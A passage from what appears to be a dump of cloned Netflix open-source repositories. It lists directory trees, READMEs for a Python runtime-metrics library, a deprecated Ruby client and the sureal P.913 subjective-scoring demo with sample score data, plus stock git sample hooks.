${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 5c6a0905c4317fd3474807c529b13e2bc9208fcd Hamza Amin <[email protected]> 1728221635 +0500\tclone: from https://github.com/Netflix/spectator-py.git\n", ".git\\refs\\heads\\main": "5c6a0905c4317fd3474807c529b13e2bc9208fcd\n"} | null |
spectator-py-runtime-metrics | {"type": "directory", "name": "spectator-py-runtime-metrics", "children": [{"type": "file", "name": ".pylintrc-relaxed"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "MANIFEST.in"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "RELEASE_PROCESS.md"}, {"type": "directory", "name": "runmetrics", "children": [{"type": "file", "name": "stats_collector.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "setup.cfg"}, {"type": "file", "name": "setup.py"}, {"type": "directory", "name": "tests", "children": [{"type": "file", "name": "test_stats_collector.py"}, {"type": "file", "name": "__init__.py"}]}]} | [![Snapshot](https://github.com/Netflix/spectator-py-runtime-metrics/actions/workflows/snapshot.yml/badge.svg)](https://github.com/Netflix/spectator-py-runtime-metrics/actions/workflows/snapshot.yml) [![PyPI version](https://badge.fury.io/py/netflix-spectator-py-runtime-metrics.svg)](https://badge.fury.io/py/netflix-spectator-py-runtime-metrics)
## spectator-py-runtime-metrics
Library to collect runtime metrics for Python applications using [spectator-py](https://github.com/Netflix/spectator-py).
See the [Atlas Documentation] site for more details on `spectator-py`.
[Atlas Documentation]: https://netflix.github.io/atlas-docs/spectator/lang/py/usage/
## Instrumenting Code
```python
from spectator.registry import Registry
from runmetrics.stats_collector import StatsCollector
if __name__ == "__main__":
registry = Registry()
# optionally add a stable worker id tag to runtime metrics, for forked processes
StatsCollector(registry, worker_id=None).start()
```
## Worker IDs
For long-running Python applications, it is common to use a forking process model to increase the
ability to handle load. Usually, these rely upon the `pid` to uniquely identify the workers, but
some of these frameworks offer either a stable worker id or the ability to create stable worker id
values through the addition of callbacks.
Ideally, the worker id is a string in the range `0..N`, with `N<16` in most cases. Most process
forking frameworks have a configuration setting for the maximum number of workers, which helps to
keep these values constrained.
Using raw `str(os.getpid())` values as the worker id is not recommended, because it can lead to large
increases in metrics volume in the Atlas backend, if processes restart regularly over the lifetime of
an instance.
## References
* Python
* [gc — Garbage Collector interface](https://docs.python.org/3/library/gc.html)
* [multiprocessing — Process-based parallelism](https://docs.python.org/3/library/multiprocessing.html)
* [os — Miscellaneous operating system interfaces](https://docs.python.org/3/library/os.html)
* [resource — Resource usage information](https://docs.python.org/3/library/resource.html)
* [threading — Thread-based parallelism](https://docs.python.org/3/library/threading.html)
* Linux
* [getrusage(2) — Linux manual page](https://man7.org/linux/man-pages/man2/getrusage.2.html)
## Local Development
Install [pyenv](https://github.com/pyenv/pyenv), possibly with [Homebrew](https://brew.sh/), and
install a recent Python version.
```shell
make setup-venv
make test
make coverage
```
| {"setup.py": "from setuptools import setup\n\nsetup()\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 4d1978db27dac91046f66e230105abb628c2b075 Hamza Amin <[email protected]> 1728221637 +0500\tclone: from https://github.com/Netflix/spectator-py-runtime-metrics.git\n", ".git\\refs\\heads\\main": "4d1978db27dac91046f66e230105abb628c2b075\n"} | null |
spectator-rb | {"type": "directory", "name": "spectator-rb", "children": [{"type": "file", "name": ".rubocop.yml"}, {"type": "directory", "name": "bin", "children": [{"type": "file", "name": "console"}, {"type": "file", "name": "setup"}]}, {"type": "file", "name": "Gemfile"}, {"type": "directory", "name": "lib", "children": [{"type": "directory", "name": "spectator", "children": [{"type": "file", "name": "atomic_number.rb"}, {"type": "file", "name": "clock.rb"}, {"type": "file", "name": "counter.rb"}, {"type": "file", "name": "distribution_summary.rb"}, {"type": "file", "name": "gauge.rb"}, {"type": "directory", "name": "histogram", "children": [{"type": "file", "name": "percentiles.rb"}]}, {"type": "file", "name": "http.rb"}, {"type": "file", "name": "measure.rb"}, {"type": "file", "name": "meter_id.rb"}, {"type": "file", "name": "registry.rb"}, {"type": "file", "name": "timer.rb"}, {"type": "file", "name": "version.rb"}]}, {"type": "file", "name": "spectator.rb"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "netflix-spectator-rb.gemspec"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "Rakefile"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "clock_test.rb"}, {"type": "file", "name": "count_test.rb"}, {"type": "file", "name": "dist_summary_test.rb"}, {"type": "file", "name": "gauge_test.rb"}, {"type": "file", "name": "id_test.rb"}, {"type": "file", "name": "measure_test.rb"}, {"type": "file", "name": "number_test.rb"}, {"type": "file", "name": "percentile_test.rb"}, {"type": "file", "name": "registry_test.rb"}, {"type": "file", "name": "test_api.rb"}, {"type": "file", "name": "test_helper.rb"}, {"type": "file", "name": "timer_test.rb"}]}]} | # Spectator-rb
This client library is deprecated, does not support [spectatord], and it is no longer maintained.
You should move to a [Paved Path language] as soon as possible.
[spectatord]: https://netflix.github.io/atlas-docs/spectator/agent/usage/
[Paved Path language]: https://netflix.github.io/atlas-docs/spectator/
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 d765486ca136012188feb7db7cc34c1088d67dd4 Hamza Amin <[email protected]> 1728221639 +0500\tclone: from https://github.com/Netflix/spectator-rb.git\n", ".git\\refs\\heads\\main": "d765486ca136012188feb7db7cc34c1088d67dd4\n"} | null |
sureal | {"type": "directory", "name": "sureal", "children": [{"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "DEVELOPER.md"}, {"type": "directory", "name": "itur_bt500_demo", "children": [{"type": "file", "name": "demo_bt500.py"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "requirements.txt"}, {"type": "file", "name": "sample_data.csv"}, {"type": "file", "name": "small_sample_data.csv"}]}, {"type": "directory", "name": "itut_p910_demo", "children": [{"type": "file", "name": "demo_p910.py"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "requirements.txt"}, {"type": "file", "name": "sample_data.csv"}, {"type": "file", "name": "small_sample_data.csv"}]}, {"type": "directory", "name": "itut_p913_demo", "children": [{"type": "file", "name": "demo.py"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "requirements.txt"}, {"type": "file", "name": "sample_data.csv"}, {"type": "file", "name": "small_sample_data.csv"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "NOTICE.md"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.rst"}, {"type": "file", "name": "requirements.txt"}, {"type": "directory", "name": "resource", "children": [{"type": "directory", "name": "dataset", "children": [{"type": "file", "name": "lukas_pc_dataset.py"}, {"type": "file", "name": "NFLX_dataset_public_raw.py"}, {"type": "file", "name": "NFLX_dataset_public_raw_last4outliers.py"}, {"type": "file", "name": "VQEGHD3_dataset_raw.py"}, {"type": "file", "name": "vqeg_frtv_p1_525_line_high_dataset.py"}, {"type": "file", "name": "vqeg_frtv_p1_525_line_low_dataset.py"}, {"type": "file", "name": "vqeg_frtv_p1_625_line_high_dataset.py"}, {"type": "file", "name": "vqeg_frtv_p1_625_line_low_dataset.py"}]}, {"type": "directory", "name": "doc", "children": []}, {"type": "directory", "name": "script", "children": [{"type": "file", "name": "run_synthetic_validate_ci.py"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "mos_to_sureal.py"}]}]}, {"type": "file", "name": "setup.py"}, {"type": "directory", "name": "sureal", "children": [{"type": "file", "name": "cmd_deprecated.py"}, {"type": "file", "name": "config.py"}, {"type": "directory", "name": "core", "children": [{"type": "file", "name": "mixin.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "dataset_reader.py"}, {"type": "file", "name": "experimental.py"}, {"type": "file", "name": "pc_subjective_model.py"}, {"type": "file", "name": "perf_metric.py"}, {"type": "file", "name": "routine.py"}, {"type": "file", "name": "subjective_model.py"}, {"type": "directory", "name": "tools", "children": [{"type": "file", "name": "decorator.py"}, {"type": "file", "name": "inverse.py"}, {"type": "file", "name": "misc.py"}, {"type": "file", "name": "stats.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "__init__.py"}, {"type": "file", "name": "__main__.py"}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "cmd_test.py"}, {"type": "file", "name": "dataset_reader_test.py"}, {"type": "file", "name": "doctest_test.py"}, {"type": "file", "name": "experimental_test.py"}, {"type": "file", "name": "pc_subjective_model_test.py"}, {"type": "file", "name": "perf_metric_test.py"}, {"type": "file", "name": "requirements.txt"}, {"type": "directory", "name": "resource", "children": [{"type": "file", "name": "lukas_pc_dataset.py"}, {"type": "file", "name": "NFLX_dataset_public_raw.py"}, {"type": "file", "name": "NFLX_dataset_public_raw_last4outliers.py"}, {"type": "file", "name": "NFLX_dataset_public_raw_PARTIAL.py"}, {"type": "file", "name": "quality_variation_2017_agh_tv_dataset.py"}, {"type": "file", "name": "test_dataset_os_as_dict.py"}, {"type": "file", "name": "test_dataset_os_as_dict2.py"}, {"type": "file", "name": "test_dataset_os_as_dict_with_repetitions.py"}, {"type": "file", "name": "test_dataset_os_as_list_with_repetitions.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "routine_test.py"}, {"type": "file", "name": "subjective_model_test.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "tox.ini"}, {"type": "directory", "name": "workspace", "children": [{"type": "directory", "name": "dataset", "children": []}, {"type": "directory", "name": "output", "children": []}, {"type": "directory", "name": "workdir", "children": []}]}]} | ITU-T P.913 Demo of Alternating Projection Technique
===================
This directory contains reference Python code for ITU-T P.913 clause 12.6.
Python3 is required. Install dependency (numpy and scipy) by
```bash
python3 -m pip install -r ./requirements.txt
```
The `sample_data.csv` file contains the raw subjective scores, organized in a 2D matrix, separated by comma. Each row corresponds to a PVS; each column corresponds to a subject. If a vote is missing, a 'nan' is put in place.
```
5.0,5.0,5.0,4.0,2.0,5.0,3.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0
1.0,3.0,5.0,2.0,5.0,5.0,5.0,5.0,4.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0
3.0,5.0,5.0,5.0,4.0,5.0,4.0,5.0,3.0,4.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,4.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0
1.0,4.0,3.0,4.0,5.0,5.0,5.0,4.0,4.0,5.0,4.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,4.0
4.0,5.0,3.0,3.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,4.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0
4.0,3.0,2.0,5.0,5.0,5.0,3.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0
1.0,3.0,4.0,5.0,1.0,4.0,5.0,4.0,4.0,5.0,4.0,5.0,5.0,5.0,3.0,5.0,5.0,4.0,3.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0
3.0,5.0,4.0,2.0,4.0,5.0,4.0,5.0,5.0,5.0,3.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,5.0,4.0,4.0,5.0,4.0,5.0,5.0
5.0,2.0,1.0,3.0,3.0,4.0,5.0,5.0,3.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,4.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0
1.0,2.0,1.0,1.0,3.0,1.0,1.0,1.0,1.0,3.0,1.0,2.0,2.0,1.0,1.0,1.0,2.0,1.0,1.0,2.0,1.0,1.0,1.0,1.0,1.0,2.0
5.0,5.0,3.0,1.0,3.0,1.0,2.0,2.0,2.0,3.0,2.0,3.0,4.0,2.0,1.0,2.0,2.0,1.0,2.0,2.0,3.0,1.0,1.0,2.0,3.0,2.0
5.0,2.0,4.0,3.0,4.0,2.0,2.0,2.0,2.0,4.0,3.0,3.0,3.0,5.0,2.0,2.0,2.0,4.0,2.0,2.0,2.0,2.0,2.0,1.0,3.0,3.0
5.0,5.0,5.0,5.0,4.0,3.0,3.0,3.0,3.0,5.0,3.0,4.0,4.0,3.0,2.0,2.0,3.0,3.0,3.0,3.0,3.0,2.0,3.0,2.0,4.0,3.0
5.0,5.0,4.0,3.0,5.0,4.0,4.0,4.0,4.0,5.0,4.0,4.0,5.0,4.0,3.0,3.0,4.0,3.0,3.0,4.0,3.0,3.0,4.0,2.0,4.0,5.0
1.0,4.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,4.0,5.0,4.0,5.0,5.0,3.0,5.0,4.0,4.0,5.0,5.0,5.0
1.0,4.0,1.0,4.0,3.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,4.0,5.0,5.0,4.0,4.0,4.0,5.0,3.0,4.0,4.0
4.0,2.0,5.0,5.0,4.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,4.0,3.0,5.0,5.0
2.0,5.0,3.0,2.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,4.0,5.0,5.0
5.0,5.0,5.0,5.0,3.0,3.0,5.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,5.0,4.0,5.0,5.0
4.0,5.0,5.0,3.0,5.0,2.0,2.0,3.0,1.0,3.0,3.0,2.0,3.0,5.0,1.0,1.0,2.0,2.0,2.0,2.0,1.0,2.0,1.0,1.0,3.0,2.0
1.0,2.0,2.0,4.0,5.0,1.0,2.0,2.0,1.0,3.0,2.0,2.0,4.0,2.0,3.0,1.0,2.0,2.0,1.0,3.0,2.0,2.0,1.0,1.0,2.0,2.0
4.0,5.0,3.0,5.0,2.0,3.0,2.0,3.0,3.0,4.0,2.0,3.0,4.0,3.0,3.0,1.0,2.0,2.0,2.0,3.0,3.0,3.0,2.0,2.0,3.0,4.0
1.0,5.0,3.0,5.0,4.0,2.0,3.0,3.0,3.0,5.0,3.0,3.0,4.0,2.0,3.0,2.0,3.0,3.0,2.0,3.0,2.0,3.0,2.0,2.0,4.0,2.0
5.0,5.0,5.0,5.0,1.0,4.0,4.0,3.0,3.0,5.0,3.0,4.0,4.0,4.0,4.0,3.0,4.0,3.0,3.0,4.0,3.0,3.0,4.0,3.0,4.0,3.0
5.0,5.0,5.0,5.0,4.0,5.0,4.0,4.0,4.0,5.0,5.0,4.0,4.0,5.0,5.0,5.0,5.0,3.0,4.0,4.0,5.0,5.0,4.0,4.0,5.0,4.0
5.0,1.0,4.0,5.0,4.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0
3.0,4.0,4.0,2.0,5.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0
4.0,1.0,3.0,5.0,3.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0
3.0,3.0,1.0,3.0,1.0,1.0,2.0,3.0,1.0,3.0,1.0,3.0,1.0,2.0,2.0,2.0,2.0,2.0,2.0,2.0,1.0,2.0,2.0,1.0,3.0,2.0
5.0,3.0,2.0,2.0,5.0,3.0,1.0,3.0,1.0,4.0,3.0,4.0,3.0,4.0,3.0,3.0,3.0,2.0,1.0,2.0,2.0,3.0,3.0,2.0,3.0,3.0
5.0,5.0,3.0,2.0,4.0,3.0,3.0,4.0,3.0,4.0,4.0,4.0,4.0,3.0,3.0,3.0,3.0,2.0,2.0,3.0,4.0,3.0,4.0,2.0,4.0,3.0
5.0,2.0,4.0,4.0,5.0,5.0,3.0,5.0,4.0,5.0,4.0,4.0,4.0,4.0,4.0,5.0,4.0,3.0,2.0,4.0,4.0,4.0,3.0,4.0,5.0,3.0
5.0,2.0,5.0,5.0,5.0,3.0,5.0,5.0,4.0,5.0,4.0,5.0,4.0,5.0,4.0,5.0,4.0,4.0,4.0,3.0,4.0,4.0,4.0,4.0,5.0,4.0
4.0,4.0,4.0,5.0,1.0,4.0,4.0,5.0,4.0,5.0,4.0,4.0,4.0,4.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,4.0,5.0,4.0,5.0,4.0
2.0,5.0,4.0,5.0,5.0,1.0,3.0,1.0,1.0,2.0,2.0,2.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0
2.0,3.0,5.0,3.0,5.0,1.0,1.0,1.0,1.0,2.0,3.0,3.0,3.0,2.0,2.0,1.0,1.0,1.0,1.0,1.0,2.0,1.0,1.0,1.0,1.0,2.0
1.0,1.0,4.0,3.0,5.0,4.0,3.0,4.0,2.0,4.0,4.0,3.0,4.0,3.0,2.0,3.0,3.0,2.0,3.0,3.0,2.0,3.0,2.0,2.0,4.0,3.0
3.0,5.0,2.0,3.0,4.0,4.0,3.0,4.0,3.0,4.0,4.0,4.0,4.0,3.0,4.0,3.0,3.0,3.0,3.0,3.0,4.0,3.0,3.0,3.0,4.0,4.0
2.0,1.0,4.0,3.0,5.0,4.0,4.0,4.0,4.0,5.0,5.0,5.0,4.0,3.0,5.0,5.0,4.0,3.0,4.0,3.0,4.0,3.0,4.0,3.0,5.0,4.0
3.0,5.0,4.0,4.0,4.0,5.0,5.0,4.0,4.0,5.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,4.0,5.0,4.0,4.0,5.0,5.0,5.0
2.0,5.0,5.0,3.0,5.0,5.0,4.0,5.0,4.0,5.0,4.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,4.0,4.0,5.0,5.0,4.0,4.0,5.0,5.0
5.0,2.0,5.0,4.0,4.0,1.0,1.0,1.0,1.0,4.0,2.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,2.0,1.0
4.0,3.0,2.0,4.0,1.0,2.0,3.0,2.0,2.0,5.0,3.0,4.0,4.0,3.0,2.0,3.0,3.0,2.0,3.0,2.0,3.0,2.0,2.0,1.0,2.0,3.0
5.0,3.0,5.0,2.0,5.0,4.0,2.0,3.0,4.0,4.0,3.0,4.0,4.0,3.0,2.0,4.0,3.0,2.0,2.0,2.0,4.0,2.0,2.0,2.0,3.0,4.0
3.0,1.0,4.0,5.0,2.0,1.0,1.0,4.0,4.0,4.0,3.0,4.0,4.0,3.0,3.0,2.0,4.0,4.0,2.0,2.0,4.0,3.0,3.0,2.0,4.0,4.0
5.0,5.0,5.0,3.0,3.0,4.0,3.0,4.0,4.0,5.0,3.0,4.0,4.0,2.0,3.0,4.0,5.0,2.0,4.0,3.0,5.0,4.0,3.0,2.0,5.0,4.0
4.0,5.0,3.0,2.0,1.0,4.0,4.0,5.0,5.0,5.0,4.0,4.0,5.0,5.0,5.0,4.0,4.0,3.0,3.0,4.0,4.0,3.0,4.0,2.0,5.0,4.0
2.0,1.0,5.0,5.0,5.0,5.0,2.0,4.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,4.0,5.0,5.0,4.0,4.0,4.0,3.0,4.0,4.0,5.0,5.0
2.0,1.0,2.0,5.0,3.0,5.0,4.0,5.0,5.0,5.0,4.0,5.0,4.0,3.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,5.0,4.0,4.0,5.0,5.0
4.0,2.0,4.0,4.0,5.0,5.0,4.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0
1.0,1.0,5.0,4.0,5.0,2.0,3.0,2.0,1.0,4.0,2.0,2.0,3.0,1.0,2.0,3.0,2.0,2.0,2.0,1.0,2.0,2.0,1.0,1.0,2.0,2.0
5.0,2.0,5.0,5.0,5.0,3.0,3.0,2.0,4.0,4.0,4.0,4.0,5.0,3.0,3.0,4.0,2.0,3.0,3.0,3.0,3.0,2.0,3.0,3.0,3.0,3.0
5.0,4.0,3.0,3.0,5.0,4.0,3.0,4.0,4.0,4.0,3.0,3.0,4.0,3.0,3.0,3.0,3.0,3.0,3.0,3.0,3.0,3.0,2.0,3.0,4.0,3.0
3.0,3.0,5.0,2.0,5.0,4.0,4.0,4.0,4.0,5.0,4.0,4.0,5.0,3.0,4.0,5.0,4.0,4.0,4.0,3.0,4.0,4.0,3.0,4.0,4.0,5.0
5.0,5.0,5.0,1.0,2.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,5.0,4.0,4.0,3.0,5.0,5.0,4.0,4.0,5.0,5.0,4.0
4.0,2.0,5.0,4.0,4.0,5.0,3.0,5.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0
4.0,4.0,5.0,5.0,2.0,1.0,1.0,1.0,1.0,2.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,2.0,1.0
5.0,3.0,5.0,5.0,5.0,1.0,4.0,2.0,1.0,3.0,1.0,2.0,2.0,1.0,2.0,1.0,2.0,1.0,1.0,2.0,2.0,1.0,2.0,2.0,3.0,2.0
3.0,3.0,4.0,4.0,1.0,2.0,3.0,3.0,1.0,4.0,3.0,3.0,2.0,2.0,3.0,2.0,2.0,2.0,2.0,1.0,3.0,2.0,2.0,2.0,3.0,2.0
1.0,5.0,4.0,2.0,5.0,4.0,5.0,4.0,3.0,5.0,2.0,3.0,4.0,3.0,2.0,2.0,2.0,2.0,3.0,3.0,3.0,3.0,3.0,2.0,4.0,3.0
2.0,1.0,3.0,4.0,5.0,4.0,5.0,5.0,3.0,5.0,4.0,5.0,5.0,3.0,5.0,5.0,4.0,4.0,3.0,4.0,4.0,4.0,4.0,4.0,5.0,4.0
5.0,3.0,4.0,5.0,3.0,5.0,5.0,5.0,4.0,5.0,4.0,5.0,5.0,4.0,3.0,5.0,4.0,4.0,4.0,4.0,5.0,4.0,4.0,5.0,5.0,3.0
4.0,2.0,2.0,1.0,5.0,5.0,4.0,5.0,5.0,5.0,4.0,5.0,5.0,4.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0
5.0,5.0,4.0,1.0,5.0,1.0,1.0,1.0,1.0,2.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0
2.0,4.0,5.0,2.0,5.0,2.0,2.0,3.0,1.0,2.0,2.0,3.0,4.0,3.0,2.0,2.0,2.0,1.0,1.0,1.0,2.0,2.0,2.0,1.0,2.0,2.0
5.0,2.0,4.0,5.0,3.0,1.0,3.0,4.0,2.0,4.0,3.0,4.0,3.0,3.0,3.0,3.0,2.0,2.0,2.0,3.0,2.0,2.0,3.0,1.0,3.0,3.0
4.0,1.0,4.0,5.0,2.0,5.0,3.0,4.0,3.0,5.0,3.0,3.0,3.0,4.0,3.0,3.0,4.0,2.0,2.0,4.0,3.0,3.0,2.0,2.0,3.0,4.0
2.0,1.0,5.0,5.0,2.0,3.0,3.0,3.0,3.0,5.0,4.0,4.0,5.0,3.0,5.0,3.0,3.0,3.0,3.0,4.0,4.0,3.0,4.0,3.0,5.0,4.0
3.0,5.0,5.0,4.0,5.0,2.0,3.0,nan,4.0,5.0,3.0,4.0,4.0,4.0,4.0,3.0,4.0,3.0,2.0,4.0,4.0,3.0,4.0,3.0,5.0,4.0
3.0,5.0,4.0,4.0,4.0,5.0,4.0,5.0,5.0,5.0,3.0,5.0,4.0,4.0,5.0,4.0,5.0,3.0,4.0,4.0,3.0,5.0,3.0,4.0,4.0,5.0
3.0,3.0,3.0,5.0,4.0,5.0,4.0,4.0,4.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,5.0,3.0,4.0,5.0,5.0,5.0,4.0,4.0,5.0,5.0
3.0,3.0,5.0,3.0,5.0,1.0,3.0,5.0,3.0,5.0,4.0,4.0,5.0,4.0,5.0,4.0,5.0,4.0,3.0,5.0,4.0,4.0,4.0,5.0,5.0,5.0
2.0,2.0,3.0,5.0,4.0,5.0,4.0,4.0,4.0,5.0,4.0,5.0,4.0,3.0,4.0,5.0,5.0,4.0,4.0,5.0,5.0,5.0,4.0,5.0,5.0,5.0
1.0,1.0,1.0,5.0,3.0,1.0,1.0,3.0,1.0,3.0,1.0,1.0,2.0,1.0,1.0,1.0,2.0,2.0,2.0,2.0,1.0,2.0,1.0,1.0,3.0,1.0
3.0,4.0,2.0,5.0,5.0,2.0,5.0,3.0,3.0,4.0,3.0,3.0,4.0,3.0,3.0,2.0,2.0,2.0,2.0,3.0,2.0,2.0,2.0,2.0,2.0,3.0
4.0,3.0,3.0,4.0,3.0,3.0,2.0,4.0,3.0,4.0,4.0,4.0,4.0,4.0,3.0,2.0,2.0,4.0,2.0,4.0,3.0,2.0,3.0,3.0,5.0,3.0
2.0,5.0,5.0,3.0,4.0,4.0,3.0,4.0,1.0,4.0,3.0,4.0,5.0,3.0,3.0,4.0,3.0,3.0,3.0,3.0,2.0,3.0,3.0,4.0,4.0,3.0
4.0,4.0,5.0,1.0,5.0,5.0,5.0,5.0,2.0,5.0,5.0,4.0,5.0,3.0,4.0,4.0,5.0,4.0,3.0,5.0,4.0,3.0,4.0,4.0,5.0,5.0
3.0,4.0,3.0,2.0,5.0,5.0,4.0,5.0,4.0,5.0,5.0,4.0,5.0,3.0,5.0,4.0,5.0,5.0,5.0,5.0,5.0,4.0,5.0,4.0,5.0,4.0
```
To run the demo:
```bash
python3 demo.py --input-csv sample_data.csv
```
The demo prints the MOS (mean opinion scores), SOS (standard deviation of scores), subject bias and inconsistency. You should expect results like:
```
{'bias_i': [-0.189852445792812,
-0.20251067364091327,
0.24052730104263095,
0.11394502256161833,
0.30381844028313737,
-0.07592839515990071,
-0.189852445792812,
0.22732380304814973,
-0.31643472427382474,
0.8101475542071879,
-0.037953711615596894,
0.3291348959793399,
0.4683754023084537,
-0.05061193946369816,
-0.03795371161559687,
-0.0379537116155969,
0.0379956554730107,
-0.3417511799700272,
-0.41770054705863474,
-0.1012448508561032,
-0.012637255919394364,
-0.25314358503331835,
-0.3037764964257234,
-0.4809916862991414,
0.43040071876414987,
0.08862856686541574],
'inconsistency_i': [1.8339364220090855,
1.792802362622858,
1.605246371617004,
1.7278966070151194,
1.6895604729228137,
0.786059296814264,
0.8613886077228371,
0.524848660820412,
0.6970790169197443,
0.6017693000691853,
0.5873782932391999,
0.44599274299540687,
0.6313887803150662,
0.7595221581562296,
0.5730648402836974,
0.6043549053479051,
0.45920504283107344,
0.5931245873480071,
0.5999448879567825,
0.5536617186771643,
0.5180284438856356,
0.49438681572660886,
0.47280600362498404,
0.6515047349212039,
0.4837623985925504,
0.4806602532869842],
'mos_j': [4.926232195563247,
4.871884030934237,
4.660024317825715,
4.678210498440895,
4.8068815198945805,
4.9159566672217645,
4.503878533924408,
4.655077192984628,
4.696507394236214,
1.3750512302890123,
2.0888400318386022,
